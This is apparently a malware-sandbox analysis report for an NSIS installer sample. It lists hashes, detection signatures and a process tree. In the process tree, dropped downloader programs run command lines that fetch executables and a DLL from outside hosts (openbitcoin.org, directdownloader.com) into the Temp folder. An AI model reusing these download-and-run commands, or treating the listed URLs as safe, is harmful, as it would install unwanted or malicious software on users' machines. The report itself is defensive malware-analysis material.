Overview
overview
7Static
static
3da966d211a...18.exe
windows7-x64
7da966d211a...18.exe
windows10-2004-x64
7$PLUGINSDI...on.dll
windows7-x64
3$PLUGINSDI...on.dll
windows10-2004-x64
3$PLUGINSDI...dl.dll
windows7-x64
3$PLUGINSDI...dl.dll
windows10-2004-x64
3$PLUGINSDI...es.dll
windows7-x64
3$PLUGINSDI...es.dll
windows10-2004-x64
3$PLUGINSDI...ec.dll
windows7-x64
3$PLUGINSDI...ec.dll
windows10-2004-x64
3$TEMP/5fb6...LR.exe
windows7-x64
7$TEMP/5fb6...LR.exe
windows10-2004-x64
7$PLUGINSDI...dl.dll
windows7-x64
3$PLUGINSDI...dl.dll
windows10-2004-x64
3$TEMP/5fb6...R0.exe
windows7-x64
7$TEMP/5fb6...R0.exe
windows10-2004-x64
7$PLUGINSDI...dl.dll
windows7-x64
3$PLUGINSDI...dl.dll
windows10-2004-x64
3$TEMP/5fb6...R1.exe
windows7-x64
7$TEMP/5fb6...R1.exe
windows10-2004-x64
7$PLUGINSDI...dl.dll
windows7-x64
3$PLUGINSDI...dl.dll
windows10-2004-x64
3$TEMP/5fb6...R2.exe
windows7-x64
7$TEMP/5fb6...R2.exe
windows10-2004-x64
7$PLUGINSDI...dl.dll
windows7-x64
3$PLUGINSDI...dl.dll
windows10-2004-x64
3$TEMP/5fb6...UB.exe
windows7-x64
7$TEMP/5fb6...UB.exe
windows10-2004-x64
7$PLUGINSDI...dl.dll
windows7-x64
3$PLUGINSDI...dl.dll
windows10-2004-x64
3$TEMP/5fb6...er.exe
windows7-x64
1$TEMP/5fb6...er.exe
windows10-2004-x64
3Analysis
- max time kernel
149s - max time network
150s - platform
windows7_x64 - resource
win7-20240903-en - resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system - submitted
11/09/2024, 14:54
Static task
static1
Behavioral task
behavioral1
Sample
da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe
Resource
win7-20240903-en
windows7-x64
Behavioral task
behavioral2
Sample
da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe
Resource
win10v2004-20240910-en
windows10-2004-x64
Behavioral task
behavioral3
Sample
$PLUGINSDIR/GetVersion.dll
Resource
win7-20240708-en
windows7-x64
Behavioral task
behavioral4
Sample
$PLUGINSDIR/GetVersion.dll
Resource
win10v2004-20240802-en
windows10-2004-x64
Behavioral task
behavioral5
Sample
$PLUGINSDIR/NSISdl.dll
Resource
win7-20240903-en
windows7-x64
Behavioral task
behavioral6
Sample
$PLUGINSDIR/NSISdl.dll
Resource
win10v2004-20240802-en
windows10-2004-x64
Behavioral task
behavioral7
Sample
$PLUGINSDIR/Processes.dll
Resource
win7-20240903-en
windows7-x64
Behavioral task
behavioral8
Sample
$PLUGINSDIR/Processes.dll
Resource
win10v2004-20240910-en
windows10-2004-x64
Behavioral task
behavioral9
Sample
$PLUGINSDIR/nsExec.dll
Resource
win7-20240903-en
windows7-x64
Behavioral task
behavioral10
Sample
$PLUGINSDIR/nsExec.dll
Resource
win10v2004-20240802-en
windows10-2004-x64
Behavioral task
behavioral11
Sample
$TEMP/5fb66b257bb22cbb28d84f41fd7f00c1/downloaderDDLR.exe
Resource
win7-20240903-en
windows7-x64
Behavioral task
behavioral12
Sample
$TEMP/5fb66b257bb22cbb28d84f41fd7f00c1/downloaderDDLR.exe
Resource
win10v2004-20240802-en
windows10-2004-x64
Behavioral task
behavioral13
Sample
$PLUGINSDIR/NSISdl.dll
Resource
win7-20240903-en
windows7-x64
Behavioral task
behavioral14
Sample
$PLUGINSDIR/NSISdl.dll
Resource
win10v2004-20240910-en
windows10-2004-x64
Behavioral task
behavioral15
Sample
$TEMP/5fb66b257bb22cbb28d84f41fd7f00c1/downloaderOFFER0.exe
Resource
win7-20240704-en
windows7-x64
Behavioral task
behavioral16
Sample
$TEMP/5fb66b257bb22cbb28d84f41fd7f00c1/downloaderOFFER0.exe
Resource
win10v2004-20240802-en
windows10-2004-x64
Behavioral task
behavioral17
Sample
$PLUGINSDIR/NSISdl.dll
Resource
win7-20240903-en
windows7-x64
Behavioral task
behavioral18
Sample
$PLUGINSDIR/NSISdl.dll
Resource
win10v2004-20240802-en
windows10-2004-x64
Behavioral task
behavioral19
Sample
$TEMP/5fb66b257bb22cbb28d84f41fd7f00c1/downloaderOFFER1.exe
Resource
win7-20240708-en
windows7-x64
Behavioral task
behavioral20
Sample
$TEMP/5fb66b257bb22cbb28d84f41fd7f00c1/downloaderOFFER1.exe
Resource
win10v2004-20240802-en
windows10-2004-x64
Behavioral task
behavioral21
Sample
$PLUGINSDIR/NSISdl.dll
Resource
win7-20240903-en
windows7-x64
Behavioral task
behavioral22
Sample
$PLUGINSDIR/NSISdl.dll
Resource
win10v2004-20240802-en
windows10-2004-x64
Behavioral task
behavioral23
Sample
$TEMP/5fb66b257bb22cbb28d84f41fd7f00c1/downloaderOFFER2.exe
Resource
win7-20240704-en
windows7-x64
Behavioral task
behavioral24
Sample
$TEMP/5fb66b257bb22cbb28d84f41fd7f00c1/downloaderOFFER2.exe
Resource
win10v2004-20240802-en
windows10-2004-x64
Behavioral task
behavioral25
Sample
$PLUGINSDIR/NSISdl.dll
Resource
win7-20240729-en
windows7-x64
Behavioral task
behavioral26
Sample
$PLUGINSDIR/NSISdl.dll
Resource
win10v2004-20240802-en
windows10-2004-x64
Behavioral task
behavioral27
Sample
$TEMP/5fb66b257bb22cbb28d84f41fd7f00c1/downloaderSTUB.exe
Resource
win7-20240903-en
windows7-x64
Behavioral task
behavioral28
Sample
$TEMP/5fb66b257bb22cbb28d84f41fd7f00c1/downloaderSTUB.exe
Resource
win10v2004-20240802-en
windows10-2004-x64
Behavioral task
behavioral29
Sample
$PLUGINSDIR/NSISdl.dll
Resource
win7-20240903-en
windows7-x64
Behavioral task
behavioral30
Sample
$PLUGINSDIR/NSISdl.dll
Resource
win10v2004-20240802-en
windows10-2004-x64
Behavioral task
behavioral31
Sample
$TEMP/5fb66b257bb22cbb28d84f41fd7f00c1/preinstaller.exe
Resource
win7-20240708-en
windows7-x64
Behavioral task
behavioral32
Sample
$TEMP/5fb66b257bb22cbb28d84f41fd7f00c1/preinstaller.exe
Resource
win10v2004-20240802-en
windows10-2004-x64
General
- Target da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe
- Size 337KB
- Sample240911-r99b4axbmd
- SHA256 bc263dd8773d72e889c606578142387bcf35c2b4757a685b31173bbe3927cf80
- MD5 da966d211ac4e34cb5ccf02f437e97c0
- SHA1 ca51f8c7133a4139b731ecdbecfdb6fe65b8f03b
- SHA512 8e835543b1bd8bb54f976e6839efa7a7a8ecf4ab25696358c91f4af775fa32c8a08acd212d70165988dfdd9f00f5f79b5aff01b148b32eb32fd024764459c0de
- SSDEEP 6144:Ac63Az3Bobmw1ahEljQVdWwE1aW9Sl/Ch1COU557TQurTOJyaeuZ0yekQ6QbJWg:eGR8H1ahEb/1aW9+ahiTQu/OJyRuiyeS
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Executes dropped EXE 7 IoCs
pid Process 2268 downloaderSTUB.exe 2692 downloaderSTUB.exe 2836 downloaderDDLR.exe 2712 downloaderSTUB.exe 2720 downloaderOFFER1.exe 2896 downloaderOFFER1.exe 2188 preinstaller.exe - Loads dropped DLL 37 IoCs
pid Process 2344 da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe 2344 da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe 2344 da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe 2344 da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe 2344 da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe 2344 da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe 2344 da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe 2692 downloaderSTUB.exe 2836 downloaderDDLR.exe 2712 downloaderSTUB.exe 2268 downloaderSTUB.exe 2896 downloaderOFFER1.exe 2720 downloaderOFFER1.exe 2692 downloaderSTUB.exe 2836 downloaderDDLR.exe 2712 downloaderSTUB.exe 2268 downloaderSTUB.exe 2896 downloaderOFFER1.exe 2720 downloaderOFFER1.exe 2692 downloaderSTUB.exe 2836 downloaderDDLR.exe 2712 downloaderSTUB.exe 2268 downloaderSTUB.exe 2896 downloaderOFFER1.exe 2720 downloaderOFFER1.exe 2692 downloaderSTUB.exe 2836 downloaderDDLR.exe 2268 downloaderSTUB.exe 2712 downloaderSTUB.exe 2896 downloaderOFFER1.exe 2720 downloaderOFFER1.exe 2692 downloaderSTUB.exe 2836 downloaderDDLR.exe 2268 downloaderSTUB.exe 2712 downloaderSTUB.exe 2896 downloaderOFFER1.exe 2720 downloaderOFFER1.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 8 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language downloaderSTUB.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language downloaderSTUB.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language downloaderOFFER1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language preinstaller.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language downloaderOFFER1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language downloaderSTUB.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language downloaderDDLR.exe - NSIS installer 2 IoCs
resource yara_rule behavioral1/files/0x00060000000186ee-4.dat nsis_installer_1 behavioral1/files/0x00060000000186ee-4.dat nsis_installer_2 - Suspicious use of WriteProcessMemory 31 IoCs
description pid Process procid_target PID 2344 wrote to memory of 2268 2344 da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe 30 PID 2344 wrote to memory of 2268 2344 da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe 30 PID 2344 wrote to memory of 2268 2344 da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe 30 PID 2344 wrote to memory of 2268 2344 da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe 30 PID 2344 wrote to memory of 2692 2344 da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe 31 PID 2344 wrote to memory of 2692 2344 da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe 31 PID 2344 wrote to memory of 2692 2344 da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe 31 PID 2344 wrote to memory of 2692 2344 da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe 31 PID 2344 wrote to memory of 2712 2344 da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe 32 PID 2344 wrote to memory of 2712 2344 da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe 32 PID 2344 wrote to memory of 2712 2344 da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe 32 PID 2344 wrote to memory of 2712 2344 da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe 32 PID 2344 wrote to memory of 2836 2344 da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe 33 PID 2344 wrote to memory of 2836 2344 da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe 33 PID 2344 wrote to memory of 2836 2344 da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe 33 PID 2344 wrote to memory of 2836 2344 da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe 33 PID 2344 wrote to memory of 2720 2344 da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe 34 PID 2344 wrote to memory of 2720 2344 da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe 34 PID 2344 wrote to memory of 2720 2344 da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe 34 PID 2344 wrote to memory of 2720 2344 da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe 34 PID 2344 wrote to memory of 2896 2344 da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe 35 PID 2344 wrote to memory of 2896 2344 da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe 35 PID 2344 wrote to memory of 2896 2344 da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe 35 PID 2344 wrote to memory of 2896 2344 da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe 35 PID 2344 wrote to memory of 2188 2344 da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe 36 PID 2344 wrote to memory of 2188 2344 da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe 36 PID 2344 wrote to memory of 2188 2344 da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe 36 PID 2344 wrote to memory of 2188 2344 da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe 36 PID 2344 wrote to memory of 2188 2344 da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe 36 PID 2344 wrote to memory of 2188 2344 da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe 36 PID 2344 wrote to memory of 2188 2344 da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe 36
Processes
-
C:\Users\Admin\AppData\Local\Temp\da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe"1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2344 -
C:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\downloaderSTUB.exeC:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\stub.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2268
-
-
C:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\downloaderSTUB.exeC:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\OpenCL.dll"2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2692
-
-
C:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\downloaderSTUB.exeC:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\updater.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2712
-
-
C:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\downloaderDDLR.exeC:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\DirectDownloaderInstaller.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2836
-
-
C:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\downloaderOFFER1.exeC:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/GamesLeap79048.exe" /D "C:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\volcano.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2720
-
-
C:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\downloaderOFFER1.exeC:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/PricePeepInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\pricepeep.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2896
-
-
C:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\preinstaller.exeC:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\preinstaller.exe 0 "(japaneseporn)umd344avi" "Download"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2188
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\downloaderOFFER2.exe
- Size 58KB
- SHA256 fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24
- MD5 c7f6ed56312c8fbb58ae6ed445c38df4
- SHA1 e2dba94ef052db774478b9f7198c1a2298b334e5
- SHA512 ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43
- SSDEEP 1536:tLXB65939tY6HBg4sXJhweErCi/S8qcy4PLv:tLk395hYXJh0C6jy4z
- MD5 SHA1 SHA512 SSDEEP
- Path \Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\preinstaller.exe
- Size 241KB
- SHA256 f33b7419880c7c90c999970e4c21febaaf6d39fdb02f9d9deafa8f8d97f3b3eb
- MD5 9d8fe8bcc4c493b2fd1da8d2b07ba57c
- SHA1 aa9366eb9210c8a5398b5e55921c92ce8970df5b
- SHA512 3fd58a0d7c870e8b07eb17f8f088d505ad98c7101733972f486a2946d18babfe0e4866ae28a16fe2481e006c26cbdf2d3eb1a2dd71bb44c084bbf14fea475216
- SSDEEP 6144:gLZpiirZUwURUebtBGVBpBwXVUTL7E97IkXQxBRUoz0iYvF:4NYEVjBwXVwM9vylz3YvF
- MD5 SHA1 SHA512 SSDEEP
- Path \Users\Admin\AppData\Local\Temp\nsj5CC.tmp\NSISdl.dll
- Size 14KB
- SHA256 dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9
- MD5 a5f8399a743ab7f9c88c645c35b1ebb5
- SHA1 168f3c158913b0367bf79fa413357fbe97018191
- SHA512 824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977
- SSDEEP 192:tUZTobBDJ68r67wmsvJI5ad9cXzFOVu+mZ/P3p+57CvpVqDxVp01Dwn2GRPgsfA:6Bo/680dCI5adOjFOg9//p27uNw2Go
- MD5 SHA1 SHA512 SSDEEP